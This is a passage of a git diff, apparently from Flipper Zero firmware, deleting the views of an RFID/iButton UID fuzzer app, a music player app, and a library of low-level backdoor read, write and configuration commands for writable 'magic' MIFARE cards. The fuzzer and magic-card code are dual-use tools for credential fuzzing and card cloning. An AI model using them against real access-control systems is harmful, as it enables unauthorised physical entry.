} else if(event->type == InputTypeLong) { - model->index = model->uid_size - 1; - model->lo = true; - } - }, - true); - return true; - } else if(event->key == InputKeyUp) { - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - if(event->type == InputTypeShort && model->allow_edit) { - if(model->lo) { - model->uid[model->index] = (model->uid[model->index] & 0xF0) | - ((model->uid[model->index] + 1) & 0x0F); - } else { - model->uid[model->index] = ((model->uid[model->index] + 0x10) & 0xF0) | - (model->uid[model->index] & 0x0F); - } - } - }, - true); - return true; - } else if(event->key == InputKeyDown) { - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - if(event->type == InputTypeShort && model->allow_edit) { - if(model->lo) { - model->uid[model->index] = (model->uid[model->index] & 0xF0) | - ((model->uid[model->index] - 1) & 0x0F); - } else { - model->uid[model->index] = ((model->uid[model->index] - 0x10) & 0xF0) | - (model->uid[model->index] & 0x0F); - } - } - }, - true); - return true; - } - - return true; -} - -void fuzzer_view_field_editor_enter(void* context) { - furi_assert(context); -} - -void fuzzer_view_field_editor_exit(void* context) { - furi_assert(context); -} - -FuzzerViewFieldEditor* fuzzer_view_field_editor_alloc() { - FuzzerViewFieldEditor* view_edit = malloc(sizeof(FuzzerViewFieldEditor)); - - // View allocation and configuration - view_edit->view = view_alloc(); - view_allocate_model(view_edit->view, ViewModelTypeLocking, sizeof(FuzzerViewFieldEditorModel)); - view_set_context(view_edit->view, view_edit); - view_set_draw_callback(view_edit->view, (ViewDrawCallback)fuzzer_view_field_editor_draw); - view_set_input_callback(view_edit->view, fuzzer_view_field_editor_input); - view_set_enter_callback(view_edit->view, fuzzer_view_field_editor_enter); - view_set_exit_callback(view_edit->view, fuzzer_view_field_editor_exit); - - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - model->uid_str = furi_string_alloc(); - model->uid = malloc(fuzzer_proto_get_max_data_size()); - }, - true); - - return view_edit; -} - -void fuzzer_view_field_editor_free(FuzzerViewFieldEditor* view_edit) { - furi_assert(view_edit); - - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - furi_string_free(model->uid_str); - free(model->uid); - }, - true); - view_free(view_edit->view); - free(view_edit); -} - -View* fuzzer_view_field_editor_get_view(FuzzerViewFieldEditor* view_edit) { - furi_assert(view_edit); - return view_edit->view; -} \ No newline at end of file diff --git a/applications/external/multi_fuzzer/views/field_editor.h b/applications/external/multi_fuzzer/views/field_editor.h deleted file mode 100644 index d81538bf8..000000000 --- a/applications/external/multi_fuzzer/views/field_editor.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include -#include "../helpers/fuzzer_custom_event.h" -#include "../lib/worker/protocol.h" - -typedef struct FuzzerViewFieldEditor FuzzerViewFieldEditor; - -typedef void (*FuzzerViewFieldEditorCallback)(FuzzerCustomEvent event, void* context); - -void fuzzer_view_field_editor_set_callback( - FuzzerViewFieldEditor* view_attack, - FuzzerViewFieldEditorCallback callback, - void* context); - -FuzzerViewFieldEditor* fuzzer_view_field_editor_alloc(); - -void fuzzer_view_field_editor_free(FuzzerViewFieldEditor* view_attack); - -View* fuzzer_view_field_editor_get_view(FuzzerViewFieldEditor* view_attack); - -void fuzzer_view_field_editor_reset_data( - FuzzerViewFieldEditor* view_edit, - const FuzzerPayload* new_uid, - bool allow_edit); - -void fuzzer_view_field_editor_get_uid(FuzzerViewFieldEditor* view_edit, FuzzerPayload* output_uid); - -uint8_t fuzzer_view_field_editor_get_index(FuzzerViewFieldEditor* view_edit); \ No newline at end of file diff --git a/applications/external/multi_fuzzer/views/main_menu.c b/applications/external/multi_fuzzer/views/main_menu.c deleted file mode 100644 index 14422145b..000000000 --- a/applications/external/multi_fuzzer/views/main_menu.c +++ /dev/null @@ -1,235 +0,0 @@ -#include "main_menu.h" -#include "../fuzzer_i.h" - -#include - -#include "../lib/worker/protocol.h" - -#define PROTOCOL_NAME_Y 12 -// #define PROTOCOL_CAROUSEL - -struct FuzzerViewMain { - View* view; - FuzzerViewMainCallback callback; - void* context; -}; - -typedef struct { - uint8_t proto_index; - uint8_t menu_index; - uint8_t proto_max; - uint8_t menu_max; -} FuzzerViewMainModel; - -void fuzzer_view_main_update_data(FuzzerViewMain* view, FuzzerState state) { - furi_assert(view); - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - model->proto_index = state.proto_index; - model->menu_index = state.menu_index; - }, - true); -} - -void fuzzer_view_main_get_state(FuzzerViewMain* view, FuzzerState* state) { - furi_assert(view); - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - state->proto_index = model->proto_index; - state->menu_index = model->menu_index; - }, - true); -} - -void fuzzer_view_main_set_callback( - FuzzerViewMain* view, - FuzzerViewMainCallback callback, - void* context) { - furi_assert(view); - - view->callback = callback; - view->context = context; -} - -void fuzzer_view_main_draw(Canvas* canvas, FuzzerViewMainModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - if(model->menu_index > 0) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, - 64, - 24, - AlignCenter, - AlignTop, - fuzzer_proto_get_menu_label(model->menu_index - 1)); - } - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 36, AlignCenter, AlignTop, fuzzer_proto_get_menu_label(model->menu_index)); - - if(model->menu_index < (model->menu_max - 1)) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, - 64, - 48, - AlignCenter, - AlignTop, - fuzzer_proto_get_menu_label(model->menu_index + 1)); - } - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 27, PROTOCOL_NAME_Y, AlignCenter, AlignBottom, "<"); - canvas_draw_str_aligned( - canvas, - 64, - PROTOCOL_NAME_Y, - AlignCenter, - AlignBottom, - fuzzer_proto_get_name(model->proto_index)); - canvas_draw_str_aligned(canvas, 101, PROTOCOL_NAME_Y, AlignCenter, AlignBottom, ">"); - -#ifdef PROTOCOL_CAROUSEL - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, - 20, - PROTOCOL_NAME_Y, - AlignRight, - AlignBottom, - (model->proto_index > 0) ? fuzzer_proto_get_name(model->proto_index - 1) : - fuzzer_proto_get_name((model->proto_max - 1))); - canvas_draw_str_aligned( - canvas, - 108, - PROTOCOL_NAME_Y, - AlignLeft, - AlignBottom, - (model->proto_index < (model->proto_max - 1)) ? - fuzzer_proto_get_name(model->proto_index + 1) : - fuzzer_proto_get_name(0)); -#endif -} - -bool fuzzer_view_main_input(InputEvent* event, void* context) { - furi_assert(context); - FuzzerViewMain* view = context; - - if(event->key == InputKeyBack && - (event->type == InputTypeLong || event->type == InputTypeShort)) { - view->callback(FuzzerCustomEventViewMainBack, view->context); - return true; - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - view->callback(FuzzerCustomEventViewMainOk, view->context); - return true; - } else if(event->key == InputKeyDown && event->type == InputTypeShort) { - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - if(model->menu_index < (model->menu_max - 1)) { - model->menu_index++; - } - }, - true); - return true; - } else if(event->key == InputKeyUp && event->type == InputTypeShort) { - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - if(model->menu_index != 0) { - model->menu_index--; - } - }, - true); - return true; - } else if(event->key == InputKeyLeft && event->type == InputTypeShort) { - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - if(model->proto_index != 0) { - model->proto_index--; - } else { - model->proto_index = (model->proto_max - 1); - } - }, - true); - return true; - } else if(event->key == InputKeyRight && event->type == InputTypeShort) { - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - if(model->proto_index == (model->proto_max - 1)) { - model->proto_index = 0; - } else { - model->proto_index++; - } - }, - true); - return true; - } - - return true; -} - -void fuzzer_view_main_enter(void* context) { - furi_assert(context); -} - -void fuzzer_view_main_exit(void* context) { - furi_assert(context); -} - -FuzzerViewMain* fuzzer_view_main_alloc() { - FuzzerViewMain* view = malloc(sizeof(FuzzerViewMain)); - - // View allocation and configuration - view->view = view_alloc(); - view_allocate_model(view->view, ViewModelTypeLocking, sizeof(FuzzerViewMainModel)); - view_set_context(view->view, view); - view_set_draw_callback(view->view, (ViewDrawCallback)fuzzer_view_main_draw); - view_set_input_callback(view->view, fuzzer_view_main_input); - view_set_enter_callback(view->view, fuzzer_view_main_enter); - view_set_exit_callback(view->view, fuzzer_view_main_exit); - - with_view_model( - view->view, - FuzzerViewMainModel * model, - { - model->proto_index = 0; - model->proto_max = fuzzer_proto_get_count_of_protocols(); - model->menu_index = 0; - model->menu_max = fuzzer_proto_get_count_of_menu_items(); - }, - true); - return view; -} - -void fuzzer_view_main_free(FuzzerViewMain* view) { - furi_assert(view); - - // with_view_model( - // view->view, - // FuzzerViewMainModel * model, - // { - - // }, - // true); - view_free(view->view); - free(view); -} - -View* fuzzer_view_main_get_view(FuzzerViewMain* view) { - furi_assert(view); - return view->view; -} \ No newline at end of file diff --git a/applications/external/multi_fuzzer/views/main_menu.h b/applications/external/multi_fuzzer/views/main_menu.h deleted file mode 100644 index 262d54405..000000000 --- a/applications/external/multi_fuzzer/views/main_menu.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include -#include "../helpers/fuzzer_custom_event.h" -#include "../helpers/fuzzer_types.h" - -typedef struct FuzzerViewMain FuzzerViewMain; - -typedef void (*FuzzerViewMainCallback)(FuzzerCustomEvent event, void* context); - -void fuzzer_view_main_set_callback( - FuzzerViewMain* fuzzer_view_main, - FuzzerViewMainCallback callback, - void* context); - -FuzzerViewMain* fuzzer_view_main_alloc(); - -void fuzzer_view_main_free(FuzzerViewMain* view); - -View* fuzzer_view_main_get_view(FuzzerViewMain* view); - -void fuzzer_view_main_update_data(FuzzerViewMain* view, FuzzerState state); -void fuzzer_view_main_get_state(FuzzerViewMain* view, FuzzerState* state); \ No newline at end of file diff --git a/applications/external/music_player/application.fam b/applications/external/music_player/application.fam deleted file mode 100644 index 24ccb9a70..000000000 --- a/applications/external/music_player/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="music_player", - name="Music Player", - apptype=FlipperAppType.EXTERNAL, - entry_point="music_player_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - fap_icon="music_10px.png", - fap_category="Media", - fap_icon_assets="icons", - fap_libs=["music_worker"], -) diff --git a/applications/external/music_player/music_10px.png b/applications/external/music_player/music_10px.png deleted file mode 100644 index d41eb0db8..000000000 Binary files a/applications/external/music_player/music_10px.png and /dev/null differ diff --git a/applications/external/music_player/music_player.c b/applications/external/music_player/music_player.c deleted file mode 100644 index aaec81346..000000000 --- a/applications/external/music_player/music_player.c +++ /dev/null @@ -1,368 +0,0 @@ -#include - -#include -#include - -#include "music_player_icons.h" -#include -#include -#include -#include - -#define TAG "MusicPlayer" - -#define MUSIC_PLAYER_APP_PATH_FOLDER EXT_PATH("music_player") -#define MUSIC_PLAYER_APP_EXTENSION "*" - -#define MUSIC_PLAYER_SEMITONE_HISTORY_SIZE 4 - -typedef struct { - uint8_t semitone_history[MUSIC_PLAYER_SEMITONE_HISTORY_SIZE]; - uint8_t duration_history[MUSIC_PLAYER_SEMITONE_HISTORY_SIZE]; - - uint8_t volume; - uint8_t semitone; - uint8_t dots; - uint8_t duration; - float position; -} MusicPlayerModel; - -typedef struct { - MusicPlayerModel* model; - FuriMutex** model_mutex; - - FuriMessageQueue* input_queue; - - ViewPort* view_port; - Gui* gui; - - MusicWorker* worker; -} MusicPlayer; - -static const float MUSIC_PLAYER_VOLUMES[] = {0, .25, .5, .75, 1}; - -static const char* semitone_to_note(int8_t semitone) { - switch(semitone) { - case 0: - return "C"; - case 1: - return "C#"; - case 2: - return "D"; - case 3: - return "D#"; - case 4: - return "E"; - case 5: - return "F"; - case 6: - return "F#"; - case 7: - return "G"; - case 8: - return "G#"; - case 9: - return "A"; - case 10: - return "A#"; - case 11: - return "B"; - default: - return "--"; - } -} - -static bool is_white_note(uint8_t semitone, uint8_t id) { - switch(semitone) { - case 0: - if(id == 0) return true; - break; - case 2: - if(id == 1) return true; - break; - case 4: - if(id == 2) return true; - break; - case 5: - if(id == 3) return true; - break; - case 7: - if(id == 4) return true; - break; - case 9: - if(id == 5) return true; - break; - case 11: - if(id == 6) return true; - break; - default: - break; - } - - return false; -} - -static bool is_black_note(uint8_t semitone, uint8_t id) { - switch(semitone) { - case 1: - if(id == 0) return true; - break; - case 3: - if(id == 1) return true; - break; - case 6: - if(id == 3) return true; - break; - case 8: - if(id == 4) return true; - break; - case 10: - if(id == 5) return true; - break; - default: - break; - } - - return false; -} - -static void render_callback(Canvas* canvas, void* ctx) { - MusicPlayer* music_player = ctx; - furi_check(furi_mutex_acquire(music_player->model_mutex, FuriWaitForever) == FuriStatusOk); - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 12, "MusicPlayer"); - - uint8_t x_pos = 0; - uint8_t y_pos = 24; - const uint8_t white_w = 10; - const uint8_t white_h = 40; - - const int8_t black_x = 6; - const int8_t black_y = -5; - const uint8_t black_w = 8; - const uint8_t black_h = 32; - - // white keys - for(size_t i = 0; i < 7; i++) { - if(is_white_note(music_player->model->semitone, i)) { - canvas_draw_box(canvas, x_pos + white_w * i, y_pos, white_w + 1, white_h); - } else { - canvas_draw_frame(canvas, x_pos + white_w * i, y_pos, white_w + 1, white_h); - } - } - - // black keys - for(size_t i = 0; i < 7; i++) { - if(i != 2 && i != 6) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_box( - canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h); - canvas_set_color(canvas, ColorBlack); - if(is_black_note(music_player->model->semitone, i)) { - canvas_draw_box( - canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h); - } else { - canvas_draw_frame( - canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h); - } - } - } - - // volume view_port - x_pos = 124; - y_pos = 0; - const uint8_t volume_h = - (64 / (COUNT_OF(MUSIC_PLAYER_VOLUMES) - 1)) * music_player->model->volume; - canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); - canvas_draw_box(canvas, x_pos, y_pos + (64 - volume_h), 4, volume_h); - - // note stack view_port - x_pos = 73; - y_pos = 0; //-V1048 - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_frame(canvas, x_pos, y_pos, 49, 64); - canvas_draw_line(canvas, x_pos + 28, 0, x_pos + 28, 64); - - char duration_text[16]; - for(uint8_t i = 0; i < MUSIC_PLAYER_SEMITONE_HISTORY_SIZE; i++) { - if(music_player->model->duration_history[i] == 0xFF) { - snprintf(duration_text, 15, "--"); - } else { - snprintf(duration_text, 15, "%d", music_player->model->duration_history[i]); - } - - if(i == 0) { - canvas_draw_box(canvas, x_pos, y_pos + 48, 49, 16); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_set_color(canvas, ColorBlack); - } - canvas_draw_str( - canvas, - x_pos + 4, - 64 - 16 * i - 3, - semitone_to_note(music_player->model->semitone_history[i])); - canvas_draw_str(canvas, x_pos + 31, 64 - 16 * i - 3, duration_text); - canvas_draw_line(canvas, x_pos, 64 - 16 * i, x_pos + 48, 64 - 16 * i); - } - - furi_mutex_release(music_player->model_mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - MusicPlayer* music_player = ctx; - if(input_event->type == InputTypeShort) { - furi_message_queue_put(music_player->input_queue, input_event, 0); - } -} - -static void music_worker_callback( - uint8_t semitone, - uint8_t dots, - uint8_t duration, - float position, - void* context) { - MusicPlayer* music_player = context; - furi_check(furi_mutex_acquire(music_player->model_mutex, FuriWaitForever) == FuriStatusOk); - - for(size_t i = 0; i < MUSIC_PLAYER_SEMITONE_HISTORY_SIZE - 1; i++) { - size_t r = MUSIC_PLAYER_SEMITONE_HISTORY_SIZE - 1 - i; - music_player->model->duration_history[r] = music_player->model->duration_history[r - 1]; - music_player->model->semitone_history[r] = music_player->model->semitone_history[r - 1]; - } - - semitone = (semitone == 0xFF) ? 0xFF : semitone % 12; - - music_player->model->semitone = semitone; - music_player->model->dots = dots; - music_player->model->duration = duration; - music_player->model->position = position; - - music_player->model->semitone_history[0] = semitone; - music_player->model->duration_history[0] = duration; - - furi_mutex_release(music_player->model_mutex); - view_port_update(music_player->view_port); -} - -void music_player_clear(MusicPlayer* instance) { - memset(instance->model->duration_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - memset(instance->model->semitone_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - music_worker_clear(instance->worker); -} - -MusicPlayer* music_player_alloc() { - MusicPlayer* instance = malloc(sizeof(MusicPlayer)); - - instance->model = malloc(sizeof(MusicPlayerModel)); - instance->model->volume = 3; - - instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - instance->worker = music_worker_alloc(); - music_worker_set_volume(instance->worker, MUSIC_PLAYER_VOLUMES[instance->model->volume]); - music_worker_set_callback(instance->worker, music_worker_callback, instance); - - music_player_clear(instance); - - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, render_callback, instance); - view_port_input_callback_set(instance->view_port, input_callback, instance); - - // Open GUI and register view_port - instance->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - return instance; -} - -void music_player_free(MusicPlayer* instance) { - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close(RECORD_GUI); - view_port_free(instance->view_port); - - music_worker_free(instance->worker); - - furi_message_queue_free(instance->input_queue); - - furi_mutex_free(instance->model_mutex); - - free(instance->model); - free(instance); -} - -int32_t music_player_app(void* p) { - MusicPlayer* music_player = music_player_alloc(); - - FuriString* file_path; - file_path = furi_string_alloc(); - - do { - if(p && strlen(p)) { - furi_string_set(file_path, (const char*)p); - } else { - furi_string_set(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, MUSIC_PLAYER_APP_EXTENSION, &I_music_10px); - browser_options.hide_ext = false; - browser_options.base_path = MUSIC_PLAYER_APP_PATH_FOLDER; - - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - if(!res) { - FURI_LOG_E(TAG, "No file selected"); - break; - } - } - - if(!music_worker_load(music_player->worker, furi_string_get_cstr(file_path))) { - FURI_LOG_E(TAG, "Unable to load file"); - break; - } - - music_worker_start(music_player->worker); - - InputEvent input; - while(furi_message_queue_get(music_player->input_queue, &input, FuriWaitForever) == - FuriStatusOk) { - furi_check( - furi_mutex_acquire(music_player->model_mutex, FuriWaitForever) == FuriStatusOk); - - if(input.key == InputKeyBack) { - furi_mutex_release(music_player->model_mutex); - break; - } else if(input.key == InputKeyUp) { - if(music_player->model->volume < COUNT_OF(MUSIC_PLAYER_VOLUMES) - 1) - music_player->model->volume++; - music_worker_set_volume( - music_player->worker, MUSIC_PLAYER_VOLUMES[music_player->model->volume]); - } else if(input.key == InputKeyDown) { - if(music_player->model->volume > 0) music_player->model->volume--; - music_worker_set_volume( - music_player->worker, MUSIC_PLAYER_VOLUMES[music_player->model->volume]); - } - - furi_mutex_release(music_player->model_mutex); - view_port_update(music_player->view_port); - } - - music_worker_stop(music_player->worker); - if(p && strlen(p)) break; // Exit instead of going to browser if launched with arg - music_player_clear(music_player); - } while(1); - - furi_string_free(file_path); - music_player_free(music_player); - - return 0; -} diff --git a/applications/external/nfc_magic/Nfc_10px.png b/applications/external/nfc_magic/Nfc_10px.png deleted file mode 100644 index 6bc027111..000000000 Binary files a/applications/external/nfc_magic/Nfc_10px.png and /dev/null differ diff --git a/applications/external/nfc_magic/application.fam b/applications/external/nfc_magic/application.fam deleted file mode 100644 index 01c6dfaa8..000000000 --- a/applications/external/nfc_magic/application.fam +++ /dev/null @@ -1,20 +0,0 @@ -App( - appid="nfc_magic", - name="NFC Magic", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="nfc_magic_app", - requires=[ - "storage", - "gui", - ], - stack_size=4 * 1024, - fap_icon="Nfc_10px.png", - fap_category="NFC", - fap_private_libs=[ - Lib( - name="magic", - ), - ], - fap_icon_assets="assets", -) diff --git a/applications/external/nfc_magic/assets/Loading_24.png b/applications/external/nfc_magic/assets/Loading_24.png deleted file mode 100644 index 93a59fe68..000000000 Binary files a/applications/external/nfc_magic/assets/Loading_24.png and /dev/null differ diff --git a/applications/external/nfc_magic/lib/magic/classic_gen1.c b/applications/external/nfc_magic/lib/magic/classic_gen1.c deleted file mode 100644 index 8d87d6316..000000000 --- a/applications/external/nfc_magic/lib/magic/classic_gen1.c +++ /dev/null @@ -1,145 +0,0 @@ -#include "classic_gen1.h" - -#include - -#define TAG "Magic" - -#define MAGIC_CMD_WUPA (0x40) -#define MAGIC_CMD_ACCESS (0x43) - -#define MAGIC_MIFARE_READ_CMD (0x30) -#define MAGIC_MIFARE_WRITE_CMD (0xA0) - -#define MAGIC_ACK (0x0A) - -#define MAGIC_BUFFER_SIZE (32) - -bool magic_gen1_wupa() { - bool magic_activated = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_WUPA; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 7, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - magic_activated = true; - } while(false); - - return magic_activated; -} - -bool magic_gen1_data_access_cmd() { - bool write_cmd_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - tx_data[0] = MAGIC_CMD_ACCESS; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - - write_cmd_success = true; - } while(false); - - return write_cmd_success; -} - -bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data) { - furi_assert(data); - - bool read_success = false; - - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - tx_data[0] = MAGIC_MIFARE_READ_CMD; - tx_data[1] = block_num; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 2 * 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON, - furi_hal_nfc_ll_ms2fc(20)); - - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 16 * 8) break; - memcpy(data->value, rx_data, sizeof(data->value)); - read_success = true; - } while(false); - - return read_success; -} - -bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data) { - furi_assert(data); - - bool write_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - tx_data[0] = MAGIC_MIFARE_WRITE_CMD; - tx_data[1] = block_num; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 2 * 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - - memcpy(tx_data, data->value, sizeof(data->value)); - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 16 * 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - - write_success = true; - } while(false); - - return write_success; -} diff --git a/applications/external/nfc_magic/lib/magic/classic_gen1.h b/applications/external/nfc_magic/lib/magic/classic_gen1.h deleted file mode 100644 index 98de12302..000000000 --- a/applications/external/nfc_magic/lib/magic/classic_gen1.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -bool magic_gen1_wupa(); - -bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data); - -bool magic_gen1_data_access_cmd(); - -bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data); diff --git a/applications/external/nfc_magic/lib/magic/common.c b/applications/external/nfc_magic/lib/magic/common.c deleted file mode 100644 index 0ea3cb218..000000000 --- a/applications/external/nfc_magic/lib/magic/common.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "common.h" - -#include - -#define REQA (0x26) -#define CL1_PREFIX (0x93) -#define SELECT (0x70) - -#define MAGIC_BUFFER_SIZE (32) - -bool magic_activate() { - FuriHalNfcReturn ret = 0; - - // Setup nfc poller - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_ll_txrx_on(); - furi_hal_nfc_ll_poll(); - ret = furi_hal_nfc_ll_set_mode( - FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106); - if(ret != FuriHalNfcReturnOk) return false; - - furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER); - furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER); - furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); - furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA); - - return true; -} - -void magic_deactivate() { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_sleep(); -} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/common.h b/applications/external/nfc_magic/lib/magic/common.h deleted file mode 100644 index bef166c8f..000000000 --- a/applications/external/nfc_magic/lib/magic/common.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include - -typedef enum { - MagicTypeClassicGen1, - MagicTypeClassicDirectWrite, - MagicTypeClassicAPDU, - MagicTypeUltralightGen1, - MagicTypeUltralightDirectWrite, - MagicTypeUltralightC_Gen1, - MagicTypeUltralightC_DirectWrite, - MagicTypeGen4, -} MagicType; - -bool magic_activate(); - -void magic_deactivate(); \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/gen4.c b/applications/external/nfc_magic/lib/magic/gen4.c deleted file mode 100644 index 31be649a0..000000000 --- a/applications/external/nfc_magic/lib/magic/gen4.c +++ /dev/null @@ -1,199 +0,0 @@ -#include "gen4.h" - -#include -#include - -#define TAG "Magic" - -#define MAGIC_CMD_PREFIX (0xCF) - -#define MAGIC_CMD_GET_CFG (0xC6) -#define MAGIC_CMD_WRITE (0xCD) -#define MAGIC_CMD_READ (0xCE) -#define MAGIC_CMD_SET_CFG (0xF0) -#define MAGIC_CMD_FUSE_CFG (0xF1) -#define MAGIC_CMD_SET_PWD (0xFE) - -#define MAGIC_BUFFER_SIZE (40) - -const uint8_t MAGIC_DEFAULT_CONFIG[] = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x09, 0x78, 0x00, 0x91, 0x02, 0xDA, 0xBC, 0x19, 0x10, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x04, 0x00, 0x08, 0x00 -}; - -const uint8_t MAGIC_DEFAULT_BLOCK0[] = { - 0x00, 0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; - -const uint8_t MAGIC_EMPTY_BLOCK[16] = { 0 }; - -const uint8_t MAGIC_DEFAULT_SECTOR_TRAILER[] = { - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x80, 0x69, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF -}; - -static bool magic_gen4_is_block_num_trailer(uint8_t n) { - n++; - if (n < 32 * 4) { - return (n % 4 == 0); - } - - return (n % 16 == 0); -} - -bool magic_gen4_get_cfg(uint32_t pwd, uint8_t* config) { - bool is_valid_config_len = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = 